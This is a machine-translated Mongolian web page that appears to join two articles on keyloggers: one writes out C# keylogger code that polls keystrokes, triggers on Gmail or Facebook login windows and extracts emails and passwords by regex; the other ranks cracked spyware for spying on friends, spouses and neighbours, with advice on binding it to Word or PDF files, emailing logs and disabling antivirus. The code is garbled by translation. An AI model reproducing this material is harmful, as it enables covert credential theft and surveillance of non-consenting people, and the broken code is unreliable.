Ихэнхдээ энэ функцийг бусад, илүү төвөгтэй програм хангамжид, жишээлбэл, Trojans (Remote Access Trojans RATS) дээр хэрэгжүүлдэг бөгөөд энэ нь таслагдсан өгөгдлийг халдагчид буцааж өгөх боломжийг олгодог. Техник хангамжийн товчлуурууд бас байдаг ч тэдгээр нь бага түгээмэл байдаг, учир нь... машинд шууд физик хандалтыг шаарддаг.


Гэсэн хэдий ч үндсэн keylogger функцийг бий болгох нь програмчлахад маш хялбар байдаг. АНХААРУУЛГА. Хэрэв та дараах зүйлсийн аль нэгийг туршиж үзэхийг хүсвэл зөвшөөрөлтэй байгаа эсэхээ шалгаарай, одоо байгаа орчныг тасалдуулахгүй байгаа эсэхээ шалгаарай, бүгдийг нь тусгаарлагдсан VM дээр хийх нь дээр. Дараа нь, энэ кодыг оновчтой болгохгүй, би танд даалгаврыг гүйцэтгэж чадах кодын мөрүүдийг харуулах болно, энэ нь хамгийн гоёмсог эсвэл оновчтой арга биш юм. Эцэст нь би танд keylogger-ийг дахин ачаалахад тэсвэртэй болгох эсвэл тусгай програмчлалын техникийг ашиглан үүнийг бүрэн илрүүлэхгүй болгох, мөн илрүүлсэн ч устгахаас хамгаалах талаар хэлэхгүй.



Гартай холбогдохын тулд C# хэл дээр 2 мөр ашиглахад л хангалттай.


1. 2. 3. нийтийн статик extern int GetAsyncKeyState(Int32 i);

Та MSDN дээрх GetAsyncKeyState функцийн талаар илүү ихийг мэдэж болно:


Ойлгохын тулд: Энэ функц нь дуудлага хийх үед товчлуур дарагдсан эсвэл суллагдсан эсэх, өмнөх дуудлагын дараа дарагдсан эсэхийг тодорхойлдог. Одоо бид гарнаас өгөгдөл хүлээн авахын тулд энэ функцийг байнга дууддаг.


1. while (үнэн) 2. ( 3. Thread.Sleep(100); 4. for (Int32 i = 0; i)< 255; i++) 5. { 6. int state = GetAsyncKeyState(i); 7. if (state == 1 || state == -32767) 8. { 9. Console.WriteLine((Keys)i); 10. 11. } 12. } 13. }

Энд юу болоод байна? Энэ давталт нь түлхүүр бүрийг 100 мс тутамд асууж, төлөвийг нь тодорхойлох болно. Хэрэв тэдгээрийн аль нэг нь дарагдсан (эсвэл дарагдсан) бол консол дээр энэ тухай мессеж гарч ирнэ. Бодит амьдрал дээр энэ өгөгдлийг буфер болгон халдагчид илгээдэг.


Ухаалаг keylogger

Хүлээгээрэй, бүх програмаас бүх мэдээллийг устгахыг оролдох нь утгагүй юу?
Дээрх код нь одоогоор фокустай байгаа цонх, оролтын талбараас түүхий гарны оролтыг татаж авдаг. Хэрэв таны зорилго бол зээлийн картын дугаар, нууц үг юм бол энэ арга нь тийм ч үр дүнтэй биш юм. Бодит нөхцөл байдлын хувьд ийм товчлуурыг хэдэн зуу эсвэл олон мянган машин дээр ажиллуулах үед өгөгдлийг задлан шинжлэх нь маш урт бөгөөд эцсийн дүндээ утгагүй болно. Халдагчийн хувьд үнэ цэнэтэй мэдээлэл тэр үед хуучирсан байж магадгүй.


Би лайк зарахын тулд Facebook эсвэл Gmail-ийн итгэмжлэлүүдийг авахыг хүсч байна гэж бодъё. Дараа нь шинэ санаа бол хөтчийн цонх идэвхтэй, хуудасны гарчигт Gmail эсвэл facebook гэсэн үг байгаа үед л товчлуурын бүртгэлийг идэвхжүүлэх явдал юм. Энэ аргыг ашигласнаар би итгэмжлэл авах боломжийг нэмэгдүүлнэ.


Кодын хоёр дахь хувилбар:


1. while (үнэн) 2. ( 3. IntPtr бариул = GetForegroundWindow(); 4. if (GetWindowText(бариул, буфф, тэмдэгт) > 0) 5. ( 6. string line = buff.ToString(); 7. if (line.Contains("Gmail")|| line.Contains("Facebook - Нэвтрэх эсвэл Бүртгүүлэх")) 8. ( 9. //гар шалгах 10. ) 11. ) 12. Thread.Sleep(100); 13.)

Энэ хэсэг нь 100 мс тутамд идэвхтэй цонхыг илрүүлэх болно. Энэ нь GetForegroundWindow функцийг ашиглан хийгддэг (MSDN-ийн талаарх дэлгэрэнгүй мэдээлэл). Хуудасны гарчиг нь buff хувьсагчд хадгалагдах бөгөөд хэрэв энэ нь gmail эсвэл facebook агуулсан бол гар сканнердах фрагментийг дуудна.


Үүнийг хийснээр бид facebook болон gmail сайтууд дээр хөтөчийн цонх нээлттэй үед л гарыг сканнердсан эсэхийг баталгаажуулсан.


Бүр илүү ухаалаг keylogger


Халдагчид манайхтай төстэй код ашиглан өгөгдлийг олж авч чадсан гэж бодъё. Тэр хэдэн арван эсвэл хэдэн зуун мянган машиныг халдварлах хангалттай амбицтай гэж бодъё. Үр дүн: шаардлагатай мэдээллийг олж авах шаардлагатай гигабайт текст бүхий асар том файл. Тогтмол илэрхийлэл эсвэл регекстэй танилцах цаг болжээ. Энэ нь тодорхой загвар үүсгэх, өгөгдсөн загварт нийцсэн текстийг сканнердах мини хэлтэй адил зүйл юм. Та эндээс илүү ихийг олж мэдэх боломжтой.


Хялбаршуулахын тулд би нэвтрэх нэр, нууц үгтэй тохирох бэлэн илэрхийллийг нэн даруй өгөх болно.


1. //Шуудангийн хаяг хайж байна 2. ^[\w!#$%&"*+\-/=?\^_`(|)~]+(\.[\w!#$%&"* + \-/=?\^_`(|)~]+)*@((([\-\w]+\.)+(2,4))|(((1,3)\.) ( 3)(1,3)))$ 3. 4. 5. //Нууц үг хайж байна 6. (?=^.(6,)$)(?=.*\d)(?=.*)

Эдгээр илэрхийллүүд нь тэдгээрийг ашиглан юу хийж болох талаар зөвлөмж болгон энд байна. Ердийн хэллэгийг ашигласнаар та паспортын дугаар, зээлийн карт, данс, тэр ч байтугай нууц үг гэх мэт тодорхой бөгөөд өөрчлөгдөөгүй форматтай аливаа бүтцийг хайж (болон олох!) боломжтой.
Үнэн хэрэгтээ ердийн илэрхийллүүд нь хамгийн уншигдахуйц код биш боловч текст задлах даалгавартай бол програмистуудын хамгийн сайн найзуудын нэг юм. Java, C#, JavaScript болон бусад алдартай хэлүүд нь ердийн хэллэгийг дамжуулах боломжтой бэлэн функцуудтай байдаг.


C#-ийн хувьд дараах байдалтай байна.


1. Regex re = new Regex(@"^[\w!#$%&"*+\-/=?\^_`(|)~]+(\.[\w!#$%&"* +\-/=?\^_`(|)~]+)*@((([\-\w]+\.)+(2,4))|(((1,3)\.) (3)(1,3)))$"); 2. Regex re2 = new Regex(@"(?=^.(6,)$)(?=.*\d)(?=.*)"); 3. string email = " [имэйлээр хамгаалагдсан]"; 4. string pass = "abcde3FG"; 5. Тохирох үр дүн = re.Match(email); 6. Тохирох үр дүн2 = re2.Match(pas);

Эхний илэрхийлэл (re) нь ямар ч имэйлтэй таарч, хоёр дахь (re2) нь 6 тэмдэгтээс их үсэг тоон бүтэцтэй таарч байна.


Үнэгүй бөгөөд бүрэн илрэхгүй


Миний жишээн дээр би Visual Studio ашигласан - та дуртай орчиноо ашиглаж болно - 30 минутын дотор ийм keylogger үүсгэх боломжтой.
Хэрэв би жинхэнэ халдлага үйлдэгч байсан бол жинхэнэ зорилтоо (банкны сайт, нийгмийн сүлжээ гэх мэт) онилж, эдгээр зорилгод нийцүүлэн кодыг өөрчлөх байсан. Мэдээжийн хэрэг, би ердийн нэхэмжлэх эсвэл бусад хавсралт мэтээр халхалсан программаараа фишинг и-мэйл кампанит ажил явуулах болно.


Нэг асуулт хэвээр байна: ийм програм хангамжийг хамгаалалтын программууд үнэхээр илрүүлэхгүй байх уу?


Би кодоо эмхэтгэж, Virustotal вэб сайтаас exe файлыг шалгасан. Энэ нь таны татаж авсан файлын хэшийг тооцоолж, мэдэгдэж буй вирусуудын мэдээллийн сангаас хайдаг вэбэд суурилсан хэрэгсэл юм. Гайхах! Мэдээжийн хэрэг юу ч олдсонгүй.



Энэ бол гол санаа юм! Та аюулын сканнеруудаас хэдхэн алхмын өмнө байж, кодыг үргэлж өөрчилж, хөгжүүлж чадна. Хэрэв та өөрийн кодыг бичиж чадвал энэ нь бараг илрэхгүй байх болно. Та энэ хуудаснаас бүрэн шинжилгээг унших боломжтой.


Энэхүү нийтлэлийн гол зорилго нь зөвхөн вирусны эсрэг програм ашигласнаар та байгууллагынхаа аюулгүй байдлыг бүрэн хангаж чадахгүй гэдгийг харуулах явдал юм. Боломжит хор хөнөөлтэй үйлдлүүдийг тодорхойлохын тулд бүх хэрэглэгчид, тэр ч байтугай үйлчилгээний үйлдлүүдийн талаар илүү нарийвчилсан үнэлгээ хийх шаардлагатай.


Дараагийн өгүүллээр би ийм програм хангамжийн үнэхээр үл мэдэгдэх хувилбарыг хэрхэн хийхийг харуулах болно.

Бидний хэн нь ядаж нэг удаа гайхалтай хакер шиг санагдаж, ямар нэг зүйлийг эвдэхийг хүсээгүй гэж үү? :) Үгүй байсан ч гэсэн шуудан/нийгмийн сүлжээнээсээ нууц үг авах нь ямар сайхан байх талаар ярилцъя. найз, эхнэр/нөхөр, өрөөний хамтрагчийн сүлжээг хүн бүр дор хаяж нэг удаа бодсон. :) Тийм ээ, тэгээд та хаа нэг газар эхлэх хэрэгтэй! Халдлагын нэлээд хэсэг (хакердах) нь хохирогчийн компьютерийг keylogger (тагнуул) гэж нэрлэгдэх програмаар халдварлах явдал юм.

Тиймээс, өнөөдрийн нийтлэлд бид юу болох талаар ярих болно Windows дээр суурилсан компьютеруудыг хянах үнэгүй програмууд, тэдгээрийн бүрэн хувилбарыг хаанаас татаж авах, хохирогчийн компьютерт хэрхэн халдварлах, ашиглах онцлог нь юу вэ.

Гэхдээ эхлээд бага зэрэг танилцуулга.

Keylogger гэж юу вэ, яагаад хэрэгтэй вэ?

Энэ юу болохыг та өөрөө таасан байх гэж бодож байна. Дүрмээр бол эдгээр нь хохирогчийн компьютер дээр суулгасан нуугдмал програм юм (хэдийгээр энэ нь үргэлж тийм байдаггүй) бөгөөд үүний дараа энэ зангилаа дээрх бүх товчлуурын даралтыг бүртгэдэг. Түүнээс гадна, товшилтоос гадна дараахь зүйлийг ихэвчлэн тэмдэглэдэг: товшилтын огноо, цаг (үйлдэл) ба эдгээр үйлдлийг гүйцэтгэсэн програм (хөтөч, түүний дотор вэб сайтын хаяг (хараа, бид нууц үг юу болохыг шууд хардаг) for!); локал програм, системийн үйлчилгээ (Windows нэвтрэх нууц үгийг оруулаад) гэх мэт).

Эндээс нэг асуудал нэн даруй харагдах болно: би хөршийнхөө компьютерт хэдэн минутын турш хандсан бөгөөд би түүний VK-ээс нууц үгээ авахыг хүсч байна! Гайхамшигт програм суулгаад компьютерийг буцааж өгсөн. Би нууц үгээ дараа яаж хайх вэ? Дахин түүнээс компьютер авах арга хайж байна уу? Сайн мэдээ гэвэл: ихэвчлэн тийм биш. Ихэнх keylogger нь зөвхөн үйл ажиллагааны хуримтлагдсан мэдээллийн санг дотооддоо хадгалахаас гадна алсаас илгээх чадвартай байдаг. Лог илгээх олон сонголт байдаг:

  • Тогтмол имэйл (хэд хэдэн байж болно) нь хамгийн тохиромжтой сонголт юм;
  • FTP сервер (хэнд байгаа);
  • SMB сервер (экзотик, тийм ч тохиромжтой биш).
  • Тогтмол флаш диск (та үүнийг хохирогчийн компьютерийн USB порт руу оруулах ба бүх бүртгэлийг үл үзэгдэх горимд автоматаар хуулдаг!).

Энэ бүхэн яагаад хэрэгтэй вэ? Хариулт нь ойлгомжтой гэж бодож байна. Нууц үг хулгайлахаас гадна зарим keylogger өөр олон сайхан зүйлийг хийж чаддаг.

  • Тодорхой нийгмийн сүлжээн дэх захидал харилцааг бүртгэх. сүлжээ эсвэл шуурхай мессенжер (жишээлбэл, Skype).
  • Дэлгэцийн дэлгэцийн агшинг авч байна.
  • Вэбкамерын өгөгдлийг харах/барьж авах (энэ нь маш сонирхолтой байж болно).

Keylogger хэрхэн ашиглах вэ?

Мөн энэ бол хэцүү асуулт юм. Зөвхөн тохиромжтой, ажиллагаатай, сайн keylogger олох нь хангалтгүй гэдгийг та ойлгох хэрэгтэй.

Тэгэхээр, тагнуулын хөтөлбөр амжилттай ажиллахад юу хэрэгтэй вэ?:

  • Алсын компьютерт администратор хандах.
    Түүнээс гадна энэ нь заавал биет хандалт гэсэн үг биш юм. Та RDP (Remote Desktop Service) дамжуулан хялбархан хандах боломжтой; TeamViewer; AmmyAdmin гэх мэт.
    Дүрмээр бол хамгийн их бэрхшээлүүд нь энэ цэгтэй холбоотой байдаг. Гэсэн хэдий ч, би саяхан Windows дээр администраторын эрхийг хэрхэн авах талаар нийтлэл бичсэн.
  • Нэргүй и-мэйл / ftp (түүгээр таныг танихгүй).
    Мэдээжийн хэрэг, хэрэв та хөршийнхөө төлөө Шура эгчийг эвдэж байгаа бол энэ цэгийг аюулгүйгээр орхиж болно. Хэрэв таны гарт хохирогчийн компьютер үргэлж байдаг бол (ала, ах/эгчийнхээ нууц үгийг олж мэдээрэй).
  • Ажиллаж буй антивирус / Windows хамгаалалтын дотоод систем дутмаг.
    Ихэнх нийтийн товчлууруудыг (үүнийг доор авч үзэх болно) вирусны эсрэг программ хангамжийн дийлэнх нь мэддэг (хэдийгээр үйлдлийн системийн цөм эсвэл системийн драйверт суулгасан логгер вирусууд байдаг бөгөөд вирусны эсрэг програмууд нь тэдгээрийг илрүүлж устгаж чадахгүй. тэдгээрийг илрүүлсэн). Дээрх шалтгааны улмаас вирусын эсрэг программ хангамж, хэрэв байгаа бол түүнийг хайр найргүй устгах шаардлагатай болно. Вирусны эсрэг програмаас гадна Windows Defender гэх мэт системүүд (эдгээр нь эхлээд Windows 7 болон түүнээс хойшхи хувилбаруудад гарч ирсэн) манай тагнуулын программд аюул учруулдаг. Тэд компьютер дээр ажиллаж байгаа програм хангамжийн сэжигтэй үйлдлийг илрүүлдэг. Та эдгээрээс хэрхэн ангижрах талаарх мэдээллийг Google-ээс хялбархан олох боломжтой.

Эдгээр нь магадгүй бусад хүмүүсийн нууц үг / захидал харилцаа, зураг хулгайлах эсвэл таны халдахыг хүссэн бүх зүйлд амжилтанд хүрэх бүх шаардлагатай бөгөөд хангалттай нөхцөл юм.

Ямар төрлийн тагнуулын програмууд байдаг бөгөөд тэдгээрийг хаанаас татаж авах вэ?

Тиймээс, миний өдөр тутмын практикт ашигладаг гол товчлуурын тоймыг бүрэн хувилбарыг нь үнэгүй татаж авах холбоосоор эхэлцгээе (өөрөөр хэлбэл бүх хувилбарууд нь одоогоор хамгийн сүүлийн үеийн (эмчилгээг олох боломжтой)) болон аль хэдийн ажиллаж, туршсан хагарал).

0. Харх!

Үнэлгээ (10-аас):

  • Далд: 10
  • Тохиромжтой/хэрэглэх боломжтой байдал: 9
  • Үйл ажиллагаа: 8

Энэ бол зүгээр л тэсрэх бөмбөг болохоос keylogger биш! Ажлын нөхцөлд 15-20 KB шаардагдана. Яагаад гайхах вэ: энэ нь бүхэлдээ ассемблер хэл дээр бичигдсэн (ахмад програмистууд нулимс асгаруулсан) бөгөөд ихэвчлэн урам зоригтой хакерууд бичсэн байдаг тул нууцлалын түвшин нь ердөө л гайхалтай юм: энэ нь үйлдлийн системийн цөмийн түвшинд ажилладаг!

Нэмж дурдахад багцад FileConnector багтсан болно - энэ keylogger-ийг ямар ч програмтай холбох боломжийг олгодог мини програм. Үүний үр дүнд та бараг ижил хэмжээтэй шинэ exe-г авах бөгөөд эхлүүлэх үед энэ нь таны наасан програмтай яг адилхан ажилладаг! Гэхдээ эхний эхлүүлсний дараа таны keylogger нь таны өмнө нь зааж өгсөн бүртгэлийг илгээх параметрүүдтэй үл үзэгдэх горимд автоматаар суурилагдсан болно. Тохиромжтой, тийм үү?

Нийгмийн инженерчлэлийн хувьд маш сайн боломж (найздаа флаш дискэн дээр тоглоомын файл / танилцуулга, эсвэл зүгээр л Word баримт бичгийг авчирч өгөөрэй. миний дараагийн нийтлэлүүд), хөөргөх, бүх зүйл сайхан, гайхалтай, гэхдээ найз нь аль хэдийн үл үзэгдэх халдвар авсан байна!). Эсвэл та энэ файлыг найздаа шуудангаар илгээх боломжтой (орчин үеийн имэйл серверүүд exe файл илгээхийг хориглодог тул татаж авах линкийг өгвөл илүү тохиромжтой). Мэдээжийн хэрэг, суулгах явцад антивирусын эрсдэл байсаар байна (гэхдээ суулгасны дараа энэ нь байхгүй болно).

Дашрамд хэлэхэд, бусад аргуудын тусламжтайгаар та ямар ч далд суулгацын түгээлтийг (эдгээр нь The Rat! болон Elite keylogger-д байдаг) зөвхөн exe файлуудтай хамт нааж болно (энэ нь ахисан түвшний хэрэглэгчдийн дунд сэжиг төрүүлдэг хэвээр байна), гэхдээ бас энгийн word / excel, тэр ч байтугай pdf файлуудтай! Энгийн pdf-ийн талаар хэн ч юу ч бодохгүй, гэхдээ тийм биш! :) Үүнийг хэрхэн хийх нь бүхэл бүтэн тусдаа нийтлэлийн сэдэв юм. Ялангуяа идэвх зүтгэлтэй хүмүүс санал хүсэлтийн маягтаар дамжуулан надад асуулт бичиж болно. ;)

Ерөнхийдөө харх! маш урт хугацаанд, маш их тайлбарлаж болно. Үүнийг надаас хамаагүй дээр хийсэн. Тэнд бас татаж авах холбоос байна.

1. Элит keylogger

Үнэлгээ (10-аас):

  • Далд: 10
  • Тохиромжтой/хэрэглэх боломжтой байдал: 9
  • Үйл ажиллагаа: 8

Магадгүй хэзээ нэгэн цагт бүтээгдсэн хамгийн шилдэг keylogger-ийн нэг байх. Түүний боломжууд нь стандарт багцаас гадна (програмууд / цонхнууд / сайтуудын хүрээнд бүх товшилтыг таслан зогсоох) шуурхай мессенжерийн мессеж, вэбкамераас авсан зургууд, мөн түүнчлэн маш чухал юм! - WinLogon үйлчилгээний нууц үгийг таслах. Өөрөөр хэлбэл, энэ нь Windows-д нэвтрэх нууц үгийг (үүнд домэйныг оруулаад!) саад болдог. Энэ нь системийн драйверын түвшинд ажиллаж, OS ачаалах үе шатанд ч ажиллаж эхэлсний ачаар боломжтой болсон. Үүнтэй ижил функцийн улмаас энэ програм нь Kasperosky болон бусад бүх вирусын эсрэг програм хангамжид бүрэн харагдахгүй хэвээр байна. Үнэнийг хэлэхэд, би ийм чадвартай ганц ч keylogger таарч байгаагүй.

Гэсэн хэдий ч та өөрийгөө хэт их хуурах ёсгүй. Суулгагч нь өөрөө вирусны эсрэг программуудаар маш амархан танигддаг бөгөөд үүнийг суулгахын тулд танд администраторын эрх, вирусны эсрэг бүх үйлчилгээг идэвхгүй болгох шаардлагатай болно. Суулгасны дараа бүх зүйл ямар ч тохиолдолд төгс ажиллах болно.

Нэмж дурдахад тайлбарласан функц (OS цөмийн түвшинд ажилладаг) нь keylogger-ууд ажиллах үйлдлийн системийн хувилбарт тавигдах шаардлагыг танилцуулж байна. Хувилбар 5-5.3 (доор өгөгдсөн холбоосууд) нь Windows 7 хүртэлх бүх зүйлийг дэмждэг. Win 8 / 10, түүнчлэн Windows серверийн гэр бүл (2003 / 2008 / 2012) дэмжигдэхээ больсон. 6-р хувилбар байдаг бөгөөд энэ нь төгс ажилладаг. win 8 болон 10 дээр, гэхдээ одоогоор хагарсан хувилбарыг олох боломжгүй байна. Энэ нь ирээдүйд гарч ирэх байх. Энэ хооронд та дээрх линкээс Elite keylogger 5.3-г татаж авах боломжтой.

Сүлжээний ажиллах горим байхгүй тул ажил олгогчид (ажилчдынхаа компьютерийг хянах) эсвэл бүхэл бүтэн бүлэг хүмүүст ашиглахад тохиромжгүй.

Чухал зүйл бол урьдчилан тодорхойлсон тохиргоотой (жишээлбэл, бүртгэлийг илгээх шаардлагатай имэйл хаягтай) суулгацын түгээлт үүсгэх чадвар юм. Үүний зэрэгцээ, төгсгөлд та түгээлтийн иж бүрдэл авах бөгөөд энэ нь эхлүүлэхэд ямар ч анхааруулга эсвэл цонхыг харуулдаггүй бөгөөд суулгасны дараа өөрөө өөрийгөө устгах боломжтой (хэрэв та тохирох сонголтыг шалгавал).

5-р хувилбарын хэд хэдэн дэлгэцийн агшин (бүх зүйл хичнээн үзэсгэлэнтэй, тохиромжтой болохыг харуулахын тулд):

2. Бүгдийг нэг дор багтаасан keylogger.

Үнэлгээ (10-аас):

  • Хулгай: 3
  • Тохиромжтой/хэрэглэх боломжтой байдал: 9
  • Үйл ажиллагаа: 8

Энэ нь бас маш тохиромжтой зүйл юм. Үйл ажиллагаа нь Elite keylogger-ийн түвшинд нэлээд байна. Нууцлагдмал байдал нь улам дорддог. Winlogon-ын нууц үгүүдийг таслахаа больсон, энэ нь драйвер биш бөгөөд цөмд суулгагдаагүй болно. Гэсэн хэдий ч энэ нь системийн болон далд AppData лавлахуудад суулгасан бөгөөд зөвшөөрөлгүй хэрэглэгчдэд тийм ч хялбар байдаггүй (түүний өмнөөс суулгасан хүмүүс биш). Гэсэн хэдий ч вирусны эсрэг програмууд эрт орой хэзээ нэгэн цагт үүнийг амжилттай хийдэг бөгөөд энэ нь жишээлбэл, ажил дээрээ өөрийн удирдлагуудыг тагнахын тулд ашиглахад тийм ч найдвартай, аюулгүй биш болгодог. ;) Антивирусаас нуухын тулд ямар нэгэн зүйлд нааж эсвэл кодыг нь шифрлээд ажиллахгүй.

Win OS-ийн аль ч хувилбар дээр ажилладаг (энэ нь сайхан бөгөөд практик).

Үлдсэн зүйлийн хувьд бүх зүйл хэвийн байна: энэ нь бүх зүйлийг бүртгэдэг (Windows-д нэвтрэх нууц үгээс бусад), хаана ч илгээдэг (и-мэйл, ftp, суурин флаш диск гэх мэт). Тав тухтай байдлын хувьд бүх зүйл маш сайн.

3. Spytech SpyAgent.

Үнэлгээ (10-аас):

  • Хулгай: 4
  • Тохиромжтой байдал/хэрэглэх чадвар: 8
  • Үйл ажиллагаа: 10

Хэдийгээр эргэлзээтэй нууцлалтай ч сайн keylogger. Дэмжигдсэн үйлдлийн системийн хувилбарууд бас боломжтой. Функциональ байдал нь өмнөх сонголтуудтай төстэй юм. Тодорхой хугацааны дараа (эсвэл урьдчилан тогтоосон огноо хүрэх үед) өөрийгөө устгах сонирхолтой функц байдаг.

Нэмж дурдахад, вэбкамераас видео бичлэг хийх, микрофоноос дуу гаргах боломжтой бөгөөд энэ нь бас маш их алдартай бөгөөд өмнөх хоёр төлөөлөгчийн хувьд байдаггүй.

Компьютерийн сүлжээг бүхэлд нь хянахад тохиромжтой сүлжээний горим байдаг. Дашрамд хэлэхэд, StaffCop-д байдаг (энэ нь нэг хэрэглэгч - хувь хүнд ашиггүй тул үнэлгээнд ороогүй болно). Магадгүй энэ програм нь ажил олгогчдод ажилчдаа тагнаж чагнахад тохиромжтой байж болох юм (хэдийгээр энэ салбарын удирдагчид бол болзолгүй StaffCop болон LanAgent - хэрэв та хуулийн этгээд бол тэдний чиглэлийг анхаарч үзээрэй). Эсвэл “насанд хүрэгчдийн сайт” үзэж суух дуртай үр хойчоо бүртгэх. Тэдгээр. Энд шаардлагатай зүйл бол нуух биш, харин ая тухтай байдал (олон сайхан бүртгэлийн тайлан гэх мэт) болон заасан сайт/програмыг хаах функц (SpyAgent-д бас байдаг).

4. Spyrix Хувийн дэлгэц.

Үнэлгээ (10-аас):

  • Хулгай: 4
  • Тохиромжтой байдал/хэрэглэх чадвар: 6
  • Үйл ажиллагаа: 10

Функциональ байдал нь өмнөх нэр дэвшигчийн түвшинд байгаа боловч нууцлалтай ижил асуудлууд. Нэмж дурдахад функц нь сонирхолтой зүйлийг багтаасан болно: компьютерт суулгасан USB хөтчүүдээс файл хуулах, мөн Spyrix вэбсайт дээрх вэб бүртгэлээр дамжуулан бүртгэлийг алсаас үзэх (гэхдээ бид эвдэрсэн хувилбарыг татаж авах гэж байгаа тул үүнийг хийхгүй. бидний төлөө ажиллах).

5. Spyrix Хувийн дэлгэц.

Үнэлгээ (10-аас):

  • Хулгай: 3
  • Тохиромжтой байдал/хэрэглэх чадвар: 6
  • Үйл ажиллагаа: 8

Би үүнийг дэлгэрэнгүй тайлбарлахгүй, учир нь ... Энэ жишээнд өмнөх тагнуулчдын аль нэгэнд байгаагүй зүйл байхгүй, гэхдээ хэн нэгэнд энэ keylogger таалагдаж магадгүй (ядаж л интерфейсийн хувьд).

Бид юугаар төгсөх вэ?

Keylogger ашиглах асуудал нь техникийн гэхээсээ илүү ёс зүйтэй бөгөөд таны зорилгоос ихээхэн шалтгаална.

Хэрэв та ажилчдаа хянахыг хүсч байгаа ажил олгогч бол StaffCop-ийг байгуулж, ийм үйлдэл хийхдээ бүх ажилчдаас бичгээр зөвшөөрөл авч (эс тэгэхгүй бол та ийм зүйлд хариуцлага хүлээлгэж магадгүй), ажил нь цүнхэнд байна. Хэдийгээр би хувьдаа ажилчдынхаа гүйцэтгэлийг нэмэгдүүлэх илүү үр дүнтэй аргуудыг мэддэг.

Хэрэв та хэн нэгнийг эвдэх ямар байдгийг, энэ нь ерөнхийдөө хэрхэн ажилладагийг мэдрэхийг хүсч буй шинэхэн МТ-ийн мэргэжилтэн бол нийгмийн инженерчлэлийн арга барилаар өөрийгөө зэвсэглэж, өгөгдсөн жишээнүүдийг ашиглан найз нөхөддөө туршилт хийгээрэй. Гэсэн хэдий ч, санаж байгаарай: хохирогчдын ийм үйлдлийг илрүүлэх нь нөхөрлөл, урт наслахад хувь нэмэр оруулдаггүй. ;) Та үүнийг ажил дээрээ туршиж үзэх ёсгүй. Миний үгийг тэмдэглэ: Би энэ талаар туршлагатай. ;)

Хэрэв таны зорилго бол найз, нөхөр, хөршөө тагнах юм бол үүнийг тогтмол хийж, мөнгө олох гэж байгаа бол энэ нь үнэ цэнэтэй эсэхийг сайтар бодож үзээрэй. Эцсийн эцэст, эрт орой хэзээ нэгэн цагт тэд татагдаж магадгүй юм. Энэ нь үнэ цэнэтэй зүйл биш юм: "бусдын бохир угаалга эргэлдэх нь тийм ч таатай таашаал биш юм." Хэрэв танд хэрэгтэй хэвээр байгаа бол (эсвэл та компьютерийн гэмт хэрэг мөрдөх чиглэлээр ажилладаг бөгөөд ийм ажил нь таны мэргэжлийн үүрэг хариуцлагын нэг хэсэг юм) бол зөвхөн хоёр сонголт байна: Харх! болон Элит Keylogger. Word / excel / pdf-ээр наасан суулгацын далд түгээлтийн горимд. Боломжтой бол шинэ криптороор шифрлэсэн нь дээр. Зөвхөн энэ тохиолдолд бид илүү аюулгүй үйл ажиллагаа, бодит амжилтыг баталгаажуулж чадна.

Гэхдээ ямар ч тохиолдолд keylogger-ийг чадварлаг ашиглах нь зорилгодоо хүрэх цорын ганц жижиг холбоос (энгийн халдлага ч гэсэн) гэдгийг санах нь зүйтэй. Танд үргэлж админ эрх байдаггүй, танд үргэлж физик хандалт байдаггүй, бүх хэрэглэгчид таны хавсралт/холбоосыг нээх, унших, цаашлаад татаж авах боломжгүй (сайн байна уу нийгмийн инженерчлэлийн), вирусны эсрэг програм үргэлж идэвхгүй байх болно. /таны keylogger/cryptor нь тэдэнд үргэлж мэдэгдэхгүй байх болно. Эдгээр болон үл мэдэгдэх олон асуудлыг шийдэж болох боловч тэдгээрийн шийдэл нь тусдаа өгүүллийн бүхэл бүтэн цуврал сэдэв юм.

Товчхондоо, та мэдээллийн аюулгүй байдлын нарийн төвөгтэй, аюултай, гэхдээ гайхалтай сонирхолтой ертөнцөд шумбаж эхлээд байна. :)

Хүндэтгэсэн,Lysyak A.S.

Сэдвийн үргэлжлэл:
Оффис

Та шинэ ухаалаг утас худалдаж авахдаа хуучин төхөөрөмжөөсөө харилцагчид, өгөгдөл, програмаа шилжүүлэхийг хүсэх байх. Та бас хуулж болно...

Шинэ нийтлэлүүд
/
Алдартай